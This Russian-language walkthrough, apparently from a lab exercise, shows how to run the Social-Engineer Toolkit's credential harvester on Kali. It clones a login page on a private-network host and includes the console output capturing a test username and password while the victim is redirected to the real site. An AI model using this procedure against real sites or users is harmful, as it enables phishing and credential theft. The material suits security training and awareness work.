
Запуск SET 

№ 1: Social-Engineering Attacks (Атаки методом социальной инженерии) ->№ 2: Website Attack
Vectors (Вектор атак на сайты) -> 
№ 3: Credential Harvester Attack Method (Атака для сбора учетных данных) ->№ 2: Site Cloner
(Клонирование сайта)

Будет предложено указать IP адрес, на котором будет http шлюз. Т е тот сервер, к которому
будет организовано подключение и которое будет отображать типа-фэйковый-сайт. Здесь
адрес на интерфейсе Kali 192.168.1.15. Этот пункт добавлен в связи с несколькими
возможными интерфейсами в системе. 

Далее вводим адрес копируемой страницы. В данном случае это 192.168.1.89 

Теперь https страничка сайта 192.168.1.89/auth размещена на http 192.168.1.15. При
обращении будет отображено 

???????????? ?????

sudo setoolkit

set:webattack> IP address for the POST back in Harvester/Tabnabbing [192.168.1.15]: 

[-] SET supports both HTTP and HTTPS

[-] Example: http://www.thisisafakesite.com

set:webattack> Enter the url to clone: https://192.168.1.89/auth

[*] Cloning the website: https://192.168.1.89/auth

[*] This could take a little bit...

The best way to use this attack is if username and password form fields are available...

[*] The Social-Engineer Toolkit Credential Harvester Attack

[*] Credential Harvester is running on port 80                                                 

                                            

[*] Information will be displayed to you as it arrives below:

192.168.1.15 - - [08/Oct/2025 04:11:31] "GET / HTTP/1.1" 200 -

192.168.1.15 - - [08/Oct/2025 04:11:32] "GET /favicon.ico HTTP/1.1" 404 -

192.168.1.15 - - [08/Oct/2025 04:11:44] "GET / HTTP/1.1" 200 -

[*] WE GOT A HIT! Printing the output:



Пользователь после этого будет тихо перенаправлен на настоящую страничку, а в логах
будет отражен введенный логин и пароль.

POSSIBLE USERNAME FIELD FOUND: username=test                                                   

                                                                                              

                                           

POSSIBLE PASSWORD FIELD FOUND: password=gtrokl                                                 

                                                                                              

                                               

[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT. 
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